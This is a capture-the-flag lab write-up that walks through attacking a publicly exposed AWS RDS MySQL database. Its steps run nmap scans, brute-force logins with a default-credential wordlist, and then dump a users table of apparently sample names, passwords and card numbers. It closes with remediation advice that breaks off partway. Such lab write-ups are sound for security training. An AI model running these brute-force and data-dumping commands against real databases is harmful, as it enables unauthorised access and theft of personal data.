Links

Pillage Exposed RDS Instances

A walkthrough demonstrating how to exfiltrate data from a public RDS instance.
CTF Source: Pwned Labs

Overview

In this walkthrough, we're provided with a public RDS endpoint and asked to do a security assessment.

Pre-Requisites

  • Install awscli: (brew/apt) install awscli
  • Install nmap: (brew/apt) install nmap
  • Install seclists: (brew/apt) install seclists
  • Install mysql cli: apt install mariadb-client-core

Walkthrough

Discovering RDS

Given an RDS endpoint, we’re going to perform a port scan to identify potential database instances running.
nmap -Pn -p3306,5432,1433,1521 exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.16s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com
PORT STATE SERVICE
1433/tcp filtered ms-sql-s
1521/tcp filtered oracle
3306/tcp open mysql
5432/tcp filtered postgresql
Nmap done: 1 IP address (1 host up) scanned in 2.78 seconds
Now that we know of an open port let’s run some more tests with nmap.
⁠Before running, it’s important to understand what we’re doing.
nmap -Pn -sV -p3306 --script=mysql-info exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.15s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 8.0.32
| mysql-info:
| Protocol: 10
| Version: 8.0.32
| Thread ID: 199055
| Capabilities flags: 65535
| Some Capabilities: SwitchToSSLAfterHandshake, LongColumnFlag, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, LongPassword, IgnoreSigpipes, FoundRows, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, ODBCClient, InteractiveClient, SupportsCompression, ConnectWithDatabase, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: 6]\x16\x03SS].:Y} 3KOUE@u"
|_ Auth Plugin Name: mysql_native_password

Brute-Forcing MySQL

Now that we know the version of MySQL is ⁠8.0.32⁠, we can view the documentation and discover that unless the configuration was updated, the default username is: ⁠root⁠ and it may not have a password. Let’s try to connect.
mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u root --skip-password
ERROR 1045 (28000): Access denied for user 'root'@'71-33-139-184.hlrn.qwest.net' (using password: NO)
  • ⁠-h⁠ connect to a remote host, without this it will attempt to connect to a local mysql db
  • ⁠-u⁠ specify the username
  • ⁠--skip-password⁠ attempt authentication without a password
Bonus, there’s also an nmap script that will do the same as above --script=mysql-empty-password⁠ and also check for ⁠anonymous user.
No dice. Not to worry, we can attempt to brute-force the password.
Let’s first ensure we have a good password list e.g., ⁠mysql-betterdefaultpasslist.txt
  • If you have Seclists installed, we can find this here ⁠ls -lh /usr/share/seclists/Passwords/Default-Credentials/ | grep mysql
We’re going to use the nmap script mysql-brute. Looking over the documentation we know our creds file needs to be formatted a certain way,
a file containing username and password pairs delimited by '/'
Our file is currently delimited by ⁠: so let’s fix that.
head -5 /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt
root:mysql
root:root
root:chippc
admin:admin
root:
We’ll copy this creds file to our local directory so we don’t butcher the original.
cp /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt .
Then we’ll use ⁠sed⁠ to change the ⁠:⁠ to a ⁠/
sed -i 's/:/\//g' mysql-betterdefaultpasslist.txt
Now we can confirm the changes.
head -5 ./mysql-betterdefaultpasslist.txt
root/mysql
root/root
root/chippc
admin/admin
root/
We’re ready to run our brute-force attack!⁠
It’s important to understand that brute-forcing is noisy and may trigger an account lockout policy.
nmap -Pn -p3306 --script=mysql-brute --script-args brute.delay=10,brute.mode=creds,brute.credfile=./mysql-betterdefaultpasslist.txt exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.30s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com
PORT STATE SERVICE
3306/tcp open mysql
| mysql-brute:
| Accounts:
| dbuser:123 - Valid credentials
|_ Statistics: Performed 23 guesses in 201 seconds, average tps: 0.0
Nmap done: 1 IP address (1 host up) scanned in 200.81 seconds
  • brute.delay=10 this increases the timeout, the default is set to 0 which may cause the script to fail to find any results
It looks like we found valid creds! ⁠dbuser:123⁠. Let’s attempt to connect to MySQL with these.
mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u dbuser -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 204271
Server version: 8.0.32 Source distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
Nice. We’re in! Let’s see what data there is.

Exfiltrating Data

Show the databases
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| performance_schema |
| user_info |
+--------------------+
3 rows in set (0.166 sec)
Select the database ⁠user_info⁠ and view its tables
MySQL [(none)]> use user_info;
Database changed
MySQL [user_info]> show tables;
+---------------------+
| Tables_in_user_info |
+---------------------+
| flag |
| users |
+---------------------+
2 rows in set (0.153 sec)
Read the flag
MySQL [user_info]> select * from flag;
+----------------------------------+
| flag |
+----------------------------------+
| e1c342[snip] |
+----------------------------------+
1 row in set (0.156 sec)
Read plaintext users data
MySQL [user_info]> select * from users;
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
| userId | fname | lname | email | password | ip_address | creditcard |
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
| 1 | Erwin | Eringey | eeringey0@epa.gov | JQ6VoFjGT | 244.218.113.151 | 3551222381964508 |
| 2 | Carolyne | Koppens | ckoppens1@scribd.com | YEclSnT3mZA | 235.196.167.220 | 3565797270077680 |
| 3 | Isa | Tapsell | itapsell2@sbwire.com | Mrz5z7rB8J | 100.112.175.106 | 6761958300756751 |
[snip]

Wrap-Up

In this scenario, we were tasked with identifying security concerns on an AWS RDS instance and we discovered a few issues:
  1. 1.
    Database public exposure
    • The instance was publicly exposed and there are few use cases where this is needed
    • Recommendation:
      • Turn off public access if possible
      • If public access is required, consider restricting access via Security Groups to only approved IP addresses
      • Consider utilizing AWS IAM for database authentication or integrating with AWS Secrets Manager for password authentication
  2. 2.
    Database authentication
  3. 3.
    Data security
    • The ⁠user_info⁠ data in the MySQL database was not encrypted
    • Recommendation: